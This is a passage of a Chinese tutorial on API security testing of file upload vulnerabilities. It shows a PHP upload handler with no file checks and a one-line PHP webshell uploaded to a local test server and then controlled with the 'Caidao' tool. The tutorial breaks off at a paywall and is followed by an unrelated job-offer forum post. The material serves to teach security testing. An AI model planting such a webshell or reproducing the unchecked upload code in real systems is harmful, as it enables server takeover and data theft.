接口安全测试--上传漏洞

说到上传漏洞,大家可能想到的就是限制文件格式,没错,限制文件格式的确能在一定程度上达到防止攻击的目的,但是魔高一尺道高一丈,网络安全领域内,矛与盾的较量始终在上演,从未停止,以后也不会停止。

大部分的网站和应用系统都有上传功能,而程序员在开发任意文件上传功能时,并未考虑文件格式后缀的合法性校验或者是否只在前端通过js进行后缀检验。这时攻击者可以上传一个与网站脚本语言相对应的恶意代码动态脚本,例如(jsp、asp、php、aspx文件后缀)到服务器上,从而访问这些恶意脚本中包含的恶意代码,进行动态解析最终达到执行恶意代码的效果,进一步影响服务器安全。

文件上传漏洞是指由于程序对用户上传的文件未做文件类型、后缀名等的强校验,而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件,上传的文件可以是木马,病毒,恶意脚本或者WebShell等。如果服务器的处理逻辑做的不够安全,则会导致严重的后果,比如:

  • 重要数据泄露:如果上传了木马,则上传者可能会获取到服务器资源的访问权限,从而导致服务器的重要数据泄露
  • DDOS攻击:如果没有限制上传文件的大小,则可能出现攻击者恶意上传超大文件,造成内存、磁盘资源耗尽,服务器无法正常处理业务请求,形成拒绝服务攻击

1. 上传漏洞实例

我们以php代码为例(示例代码参见GitHub:https://github.com/8784285/SafetyTest.git ),通过下面几个case看看上传漏洞的威力

case1:正常上传图片

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    $target_path  = "E:\\phpstudy_pro\\WWW\\test\\uploads\\";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        echo '<pre>图片未上传</pre>';
    }
    else {
        echo "<pre>{$target_path} 上传成功!</pre>";
    }
 }
?>

将上面代码保存为文件upload.php,部署到web容器中。此处我们选择phpstudy的集成环境,在phpstudy的WWW目录下新建一个名为"test"的站点,将刚才写好的upload.php文件放置在此目录下,启动phpstudy服务。
我们仍然用postman来测试上传,地址栏输入"http://127.0.0.1/test/upload.php",请求方法选择“POST",请求体部分配置如下:

  • 1)选择Body
  • 2)选择form-data
  • 3)第一个key输入"myfile"
  • 4)文本框后面的类型选择"file"
  • 5)Value选择要上传的图片
  • 6)第二个key输入"Upload"
    然后点击【Send】

postman上传图片参数配置

返回如下结果,则图片上传成功,说明上传接口功能正常

<pre>E:\phpstudy_pro\WWW\test\uploads\bluesky.jpg 上传成功!</pre>

case2:上传木马

我们编写一个只有一句话的php文件(即一句话木马)a.php

<?php eval(@$_POST['a']); ?>

仍然用postman上传该文件(步骤同case1),返回结果如下:

<pre>E:\phpstudy_pro\WWW\test\uploads\a.php 上传成功!</pre>

我们进入php服务器存放上传文件的目录,也可以看到a.php文件已经被成功上传到服务器
a.php文件成功上传

接下来我们用“菜刀”软件连接,主界面点击右键,然后点击添加,填写相关的数据,如下图:

菜刀配置

  • 1)填写a.php的url访问路径
  • 2)填写a.php文件中$_POST['a']中的a
  • 3)选择PHP(Eval)

添加完成后双击添加的记录,或者右键选择“文件管理”,即可打开如下界面
菜单连接成功

默认进入的是a.php所在目录,但是通过左侧的目录树,可以进入服务器所有文件目录,最恐怖的是,这个界面打开的窗口跟本地操作几乎没有区别,增删改查功能没有任何限制。

如果数据库也在a.php所在服务器,而且不慎被猜中数据库密码的话,数据库也会沦陷,增删改查也不在话下,如下图:

菜刀连接数据库

case3:文件MIME类型验证

上面的木马之所以可以上传成功,是因为接口没有对文件格式做任何的校验,后缀为php类型的文件也可以成功上传,那下面我们就对文件类型进行校验,看漏洞是不是能够被封堵。

新增一个php文件upload1.php,代码如下:

<?php
if( isset( $_POST[ 'Upload' ] ) ) {
    $target_path  = "E:\\phpstudy_pro\\WWW\\test\\uploads\\";
    $target_path .= basename( $_FILES[ 'myfile' ][ 'name' ] );

    $uploaded_name = $_FILES[ 'myfile' ][ 'name' ];
    $uploaded_type = $_FILES[ 'myfile' ][ 'type' ];
    $uploaded_size = $_FILES[ 'myfile' ][ 'size' ];

    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
        ( $uploaded_size < 100000 ) ) {

        if( !move_uploaded_file( $_FILES[ 'myfile' ][ 'tmp_name' ], $target_path ) ) {
            ec

剩余60%内容,订阅专栏后可继续查看/也可单篇购买

<p> 本专刊共五章 21 篇正文及 5 个对应的 GitHub 项目,主要介绍了接口测试基础知识及测试用例设计方法,认证鉴权、加密验签,自动化测试,安全性测试,性能测试等内容,每一章节都有代码实例来剖析其原理,并提供了一个完整电商系统的代码,可以直接实操演练,让你知其然知其所以然,轻松搞定接口测试。加入专刊,你就加入了一大群志同道合的优质测试人圈子,同时还有和作者及作者的朋友们互动交流的机会。 本专刊购买后即可解锁所有章节,故不可以退换哦~ </p> <p> <br /> </p>

全部评论

相关推荐

2025-12-12 19:01
南京航空航天大学 C++
秋招没咋投,准备&nbsp;wxg&nbsp;转正之后摆烂了。结果不堪字节&nbsp;HR&nbsp;的骚扰还是面了一下字节。之前想去字节的时候怎么面都挂。现在想着随便面一下结果三面技术面都意外顺利还有加面。十月中旬字节发了意向,wxg&nbsp;转正结果无响应。十月底字节拉了保温群,wxg&nbsp;口头通过,系统显示考核中。十一月初和字节&nbsp;ld&nbsp;交流之后得知&nbsp;base&nbsp;居然能选海外,甚至能小&nbsp;wlb&nbsp;一下,wxg&nbsp;无响应无人联系。十一月中旬把字节&nbsp;base&nbsp;转到了海外,wxg&nbsp;流程灰了,一问超时忘处理了,过两天又变考核中了。十一月下旬字节换了海外&nbsp;HR&nbsp;对接,问了期望薪资,wxg&nbsp;考核终于显示通过,无&nbsp;HR&nbsp;保温,无其他保温。十一月底给字节报了个天价,想吓吓他们,同时告诉微信字节要开了,微信无响应。同样十一月底字节&nbsp;HR&nbsp;告诉我确实给不到那么高,但是能拿期权补上,问能不能接受。微信无响应。同样十一月底字节&nbsp;HR&nbsp;告知了具体方案,符合预期。&nbsp;微信无响应。十二月上旬催&nbsp;wxg&nbsp;不开我就盲拒了,wxg&nbsp;HR&nbsp;火急火燎的打电话问情况,问期望。我给了一个不算夸张的总包数字,因为今年市场在涨,过了三天还不联系我,我再催,约时间下午打电话,非得在我给出的数字上压下去几万,微信又不差这点,为什么不能满足我,让我没有拒绝的理由呢?一番纠结抗争,求稳还是追求挑战,最终选择接受迎接新的挑战,因为堂吉诃德永远不会停下脚步!回想起来,在&nbsp;wxg&nbsp;谈薪的阶段,我认为并没有给予我一定的重视,即使&nbsp;HR&nbsp;表示我在实习期间的表现和之前的面评都很靠前。也没有感觉到想要争取我,虽然我表示拒了&nbsp;offer&nbsp;之后要给我加面委定&nbsp;t6&nbsp;再涨,但我三个月没面试让我面面委那就是白给,还是算了。有缘再见了我亲爱的&nbsp;wxg,再见了曾经的梦中情厂,再见亲爱的&nbsp;mt,再见亲爱的朋友们。也再见,北京的一切。我想润了。秋招结束,卸载牛客,下一个三年,下一个五年,下一个十年后再来看看。
面试中的大熊猫爱吃薯...:我嫉妒得狗眼通红
点赞 评论 收藏
分享
评论
点赞
收藏
分享

创作者周榜

更多
牛客网
牛客网在线编程
牛客网题解
牛客企业服务